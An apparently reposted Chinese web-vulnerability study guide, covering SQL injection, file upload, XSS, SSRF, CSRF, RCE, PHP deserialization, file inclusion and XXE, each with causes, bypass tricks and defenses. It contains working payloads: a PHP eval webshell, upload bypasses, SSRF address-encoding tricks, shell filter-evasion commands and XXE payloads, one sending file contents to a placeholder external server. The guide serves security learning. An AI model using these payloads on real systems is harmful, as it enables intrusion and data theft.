漏洞分析大全

一. SQL注入原理的种类?防御呢?预编译原理?


原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判
断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的
模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代
入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成
字符串进行查询处理,因此杜绝了sql注入的产生。

二.文件上传

 文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
  通过来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。
  若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。

种类

1.前端Js

2.htaccess

   AddType application/x-httpd-php .png

3.MIME类型

Content-Type:image/png

4.文件头判断

GIF89a

5、黑名单-过滤不严
无递归,pphphp
 
6、黑名单-过滤不严
系统大小写敏感属性
 
7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
 
8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
 
9、黑名单-过滤不严
php3
 
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包
请求不断发包
 
11、二次渲染
先搞个正常图片,上传导出渲染后的图片
对比保留部分,在保留部分添加后门代码
最后利用提示的文件包含执行图片后门代码
 
11、函数缺陷
move_uploaded_file 1.php/.
 
12、代码审计-数组绕过
 

防御

1、执行权限
文件上传后存储目录不给执行权限
2、解码还原
数据做存储,解析固定(文件后缀名无关)
文件上传后利用编码传输解码还原
 
#文件-存储方案-分站存储&OSS对象
1、分站存储
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
2、OSS对象
Access控制-OSS对象存储-Bucket对象

3.XSS 漏洞简介


​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

分类 反射型 存储型 dom型

绕过方式

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

2.引号过滤

3.括号过滤

4.关键字过滤
大小写绕过

双写绕过

5.字符串拼接绕过

6.编码绕过

7.过滤url地址

8.伪协议

防御:

字符过滤,实体化编码,http_only,CSP防护,WAF拦截等

四、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

危害:

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

绕过方式

1、限制为http://www.xxx.com 域名时(利用@)

2.采用短网址绕过

3.采用进制转换

127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1

5.利用[::]

可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7、CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入

2、常见限制

1.限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com

2.限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

3.限制请求只为http协议

(1)采取302跳转
(2)采取短地址

SSRF漏防御
通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

五 csrf

什么是CSRF?
CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

种类分为:

get 和 post

利用:

绕过0:规则匹配绕过问题(代码逻辑不严谨) 1、<meta name="referrer" content="no-referrer"> 2、http://xx.xx.xx.xx/http://xx.xx.xx.xx

绕过1:配合文件上传绕过(严谨使用同源绕过)

绕过2:配合存储XSS绕过(严谨使用同源绕过)

绕过0:将Token参数值复用(代码逻辑不严谨)

绕过1:将Token参数删除(代码逻辑不严谨)

绕过2:将Token参数值置空(代码逻辑不严谨)

防御

1、验证码

2、在请求地址中添加 token 并验证

3、在 HTTP 头中自定义属性并验证

4、验证 HTTP Referer 字段

六.RCE

RCE代码执行:引用脚本代码解析执行 -RCE命令执行:脚本调用操作系统命令 漏洞函数: 1.PHP: PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 2.Python: eval exec subprocess os.system commands  3.Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行: 脚本——java,php,python 产生——Web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产品 命令执行: 系统——Linux、Windows 产生——web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产

1)关键字过滤:

1、过滤flag关键字

通配符

flag=fl* cat fl* cat ?la*

2、转义符号

ca\t /fl\ag

cat fl''ag

2、1使用空变量$*和$@,$x,${x}绕过

ca$*t fl$*ag ca$@t 

fl$@ag ca$5t 

f$5lag ca${2}t

f${2}lag

3、拼接法 a=fl;b=ag;cat$IFS$a$b

4、反引号绕过:

cat `ls`

5、编码绕过:

echo 'flag' | base64

cat `echo ZmxhZwo= | base64 -d`

6、组合绝活

touch "ag

" touch "fl\\"

touch "t \\"

touch "ca\\"

ls -t >shell

sh shell

#  \指的是换行

#  ls -t是将文本按时间排序输出

#  ls -t >shell  将输出输入到shell文件中

#  sh将文本中的文字读取出来执行

7、异或无符号(过滤0-9a-zA-Z)

异或:rce-xor.php & rce-xor.py

或:rce-xor-or.php & rce-xor-or.py

(2)过滤函数关键字

1、内敛执行绕过(system)

echo `ls`;

echo $(ls);

?><?=`ls`;

?><?=$(ls);

3、过滤空格

{cat,flag};   ${IFS$;   $IFS$9;   <;   <>;

3)无回显利用 1、直接写个文件访问查看 2、直接进行对外访问接受

RCE漏洞危害

        ①继承Web服务器程序权限,去执行系统命令;

        ②继承Web服务器权限,读写文件;

        ③反弹shell;

        ④控制整个网站甚至是服务器;

RCE漏洞防护

        ①对用户的输入作严格的过滤,如白名单策略;

        ②尽量不使用容易产生漏洞的危险函数;

        ③保证用户不用控制危险函数的传参;

七.php反序列化

1.概述
        反序列化是将序列化得到的字符串转化为一个对象的过程;

        反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;

        反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串

2.常见PHP魔术方法?- 对象逻辑

 __construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。 __callStatic(): //在静态上下文中调用不可访问的方法时触发

__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__set_state(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

3.构造pop

方法

1. __wakeup()方法漏洞

2. O:+6绕过正则

3. 引用

4. 对类属性不敏感

5. 大写S当十六进制绕过

6.php类名不区分大小写

危害

  • 任意代码执行
  • 数据泄露
  • 拒绝服务攻击
  • 权限提升  

防御

  • 不要反序列化来自不可信来源的数据。
  • 使用反序列化过滤器来限制反序列化的数据类型。
  • 保持PHP应用程序和库的最新状态。
  • 使用安全编码实践。

 八.文件包含

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

危害:

远程代码执行:攻击者可能能够执行任意代码,这可能导致服务器被完全控制。
敏感数据泄露:攻击者可能访问应用程序的数据库和文件系统,获取敏感信息。
网站完全被控制:通过注入恶意文件或脚本,攻击者可以控制网站的行为。
DDoS攻击:通过滥用文件包含漏洞,攻击者可以发起资源耗尽攻击,影响网站的正常运行。

利用

4、利用 本地利用思路:

1、配合文件上传

2、无文件包含日志

3、无文件包含SESSION

4、无文件支持伪协议利用

防御:

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)

3、php版本升级,防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

九XEE

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。

Content-type:text/xml application/xml

利用

把语句放到请求包

回显

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE xiaodi [

<!ENTITY test SYSTEM  "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

2.无回显

1.带外测试

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE xiaodi [

<!ENTITY test SYSTEM  "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

2、外部引用实体dtd:

<?xml version="1.0" ?>

<!DOCTYPE test [     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd">

    %file;

]>

<user><username>&send;</username><password>xiaodi</password></user> xiaodi.dtd 

无回显

OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx/test.dtd"

>

%remote;

%all;

]>

危害

文件读取,命令执行,DOS攻击,SSRF

防御

XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。

使用安全的libxml依赖库,版本在2.9以上的版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/833471.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI无人自动实景直播系统,挑战高效 实时 智能 全新的直播方式

随着科技的不断发展&#xff0c;人工智能&#xff08;AI&#xff09;已经涉足并改变了各个行业&#xff0c;直播领域也不例外。传统的直播方式依赖于真人主持和人工操作&#xff0c;而现在&#xff0c;AI无人自动实景直播系统的出现&#xff0c;正在挑战着传统直播的方式&#…

35道必懂的 Linux 运维面试题

1、现在给你三百台服务器&#xff0c;你怎么对他们进行管理&#xff1f; 管理3百台服务器的方式&#xff1a; 1&#xff09;设定跳板机&#xff0c;使用统一账号登录&#xff0c;便于安全与登录的考量。 2&#xff09;使用 salt、ansiable、puppet 进行系统的统一调度与配置的…

高扬程水泵:专业设备,高效输送水源/恒峰智慧科技

在广袤无垠的森林中&#xff0c;每一棵树木都承载着生命的希望与自然的恩赐。然而&#xff0c;当森林遭遇火灾的威胁时&#xff0c;这些生机勃勃的生命便岌岌可危。此时&#xff0c;森林消防高扬程水泵便成为了守护森林安全的重要武器&#xff0c;以其专业性与高效性&#xff0…

图书管理系统调整——修改注解(引入IoC、DI思想)

这里修改的还是比较简单&#xff0c;我们知道&#xff0c;五大注解通常情况下是可以混用的&#xff0c;而这里的BookController和UserController的注解不变 &#xff0c;也不能改变&#xff0c;因为Controller除了交给Spring管理外&#xff0c;还具备一定的路由功能&#xff0c…

20232810 2023-2024-2 《网络攻防实践》实验八

一、实践内容 1.1 恶意代码 1.1.1 简介 定义&#xff1a;恶意代码&#xff08;Malware,或Malicious Code&#xff09;指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集。 指令集合&#xff1a;二进制执行文件、脚本语言代码、宏代码、寄生在文件或者启动扇区的指令…

【计算机网络】因特网概述

一.发展的三个阶段 二.ISP介绍 因特网服务提供者&#xff08;Internet Service Provider&#xff09;&#xff0c;简称ISP&#xff0c;普通用户是通过 ISP 接入到因特网的&#xff0c;ISP 可以从因特网管理机构申请到成块的 IP 地址&#xff0c;同时拥有通信线路以及路由器等连…

面试集中营—Redis面试题

一、Redis的线程模型 Redis是基于非阻塞的IO复用模型&#xff0c;内部使用文件事件处理器&#xff08;file event handler&#xff09;&#xff0c;这个文件事件处理器是单线程的&#xff0c;所以Redis才叫做单线程的模型&#xff0c;它采用IO多路复用机制同时监听多个socket&a…

开发中的一些专业术语,POJO、PO...

在 Java 开发中&#xff0c;以下是常见的设计模式和概念&#xff1a; PO&#xff08;Persistent Object&#xff09;&#xff1a;持久化对象&#xff0c;也称为实体类或数据对象。它是与数据库表结构对应的类&#xff0c;通常用于表示持久化数据的实体。PO 类的属性与数据库表的…

阿里easyExcel -- excel单元格自定义下拉选择(升级版)

背景 很久很久以前写了一篇类似的文章 阿里easyExcel – excel下载/导出/读取 (单元格自定义下拉选择、不支持图片) &#xff0c;用了没多久就发现不好用&#xff0c;限制太多&#xff08;以后遇到你就知道了&#xff09;&#xff0c;然后就有了现在迟到很久的文章&#xff0c…

python abs函数怎么用

abs()函数是Python的数字函数&#xff0c;用以返回数字的绝对值。 语法 以下是 abs() 方法的语法&#xff1a; abs( x ) 参数 x -- 数值表达式&#xff0c;可以是整数&#xff0c;浮点数&#xff0c;复数。 返回值 函数返回 x&#xff08;数字&#xff09;的绝对值&#x…

(十五)Servlet教程——Servlet文件上传

JSP和HTML标签一起使用&#xff0c;来允许用户把文件上传到服务器。 首先我们需要创建一个前端界面&#xff0c;创建上传文件表单时&#xff0c;需要注意以下几点&#xff1a; (1) 表单的method属性必须设置为POST方法&#xff0c; 不能使用GET方法。 (2) 表单enctype属性应该…

accelerator入门

一、目录 1 定义 2. DP、DPP的区别 3 实现 4. 测试比较 二、实现 定义 accelerator 是由大名鼎鼎的huggingface发布的&#xff0c;专门适用于Pytorch的分布式训练框架,是torchrun 的封装。 GitHub: https://github.com/huggingface/accelerate 官网教程&#xff1a;https://…

8、卷积Convolutions (CNN)

Today we finish off our study of collaborative filtering by looking closely at embeddings—a critical building block of many deep learning algorithms. Then we’ll dive into convolutional neural networks (CNNs) and see how they really work. We’ve used plen…

kaggle叶子分类比赛(易理解)

说实话网上很多关于叶子分类比赛的代码能取得的成绩都很好,但对于我这个业余人员太专业了&#xff0c;而且很多文章都有自己的想法&#xff0c;这让我这个仿写沐神代码的小菜鸡甚是头痛。 但好在我还是完成了&#xff0c;虽然结果并不是很好&#xff0c;但是如果跟着沐神走的同…

AI编码时代到来?实现编程梦想的利器—Baidu Comate测评

文章目录 Comate智能编码是什么&#xff1f;Comate支持的环境 Comate应用安装实际操作对话式生成代码生成代码注释智能单测项目测试调优功能 总结 Comate智能编码是什么&#xff1f; 在如今这个拥抱AI的时代&#xff0c;市面上已经产出了很多Ai代码助手&#xff0c;如果你还没…

【LeetCode算法】28. 找出字符串中第一个匹配项的下标

提示&#xff1a;此文章仅作为本人记录日常学习使用&#xff0c;若有存在错误或者不严谨得地方欢迎指正。 文章目录 一、题目二、思路三、解决方案四、JAVA截取字符串的常用方法4.1 通过subString()截取字符串* 一、题目 给你两个字符串 haystack 和 needle &#xff0c;请你在…

鸿蒙OpenHarmony南向:【Hi3516标准系统入门(IDE方式)】

Hi3516标准系统入门&#xff08;IDE方式&#xff09; 注意&#xff1a; 从3.2版本起&#xff0c;标准系统不再针对Hi3516DV300进行适配验证&#xff0c;建议您使用RK3568进行标准系统的设备开发。 如您仍然需要使用Hi3516DV300进行标准系统相关开发操作&#xff0c;则可能会出现…

CST电磁仿真查看模型的截面结构和生成Spice模型【入门教程】

通过Logfile查看仿真统计 一次性了解仿真统计! Post-Processing > Manage Results > Logfile 利用CPU Threads、Mesh Cells、Time Steps以及Total Solver Time等Logfile&#xff0c;可以一目了然地了解仿真统计。 &#xff08;1&#xff09;点击Post-Processing选项卡…

PPT如何录制视频?看这里,让你轻松上手!

在现代社会&#xff0c;演示文稿&#xff08;ppt&#xff09;已成为我们工作、学习和生活中不可或缺的一部分。无论是商务报告、教育培训还是产品展示&#xff0c;ppt都能以其直观、生动的形式有效地传达信息。可是你知道ppt如何录制视频吗&#xff1f;本文将为您介绍两种ppt录…

pycharm code行太长显示波浪线取消

实际操作如下&#xff1a;个人比较合适的位置为160,180时有点多 效果&#xff1a;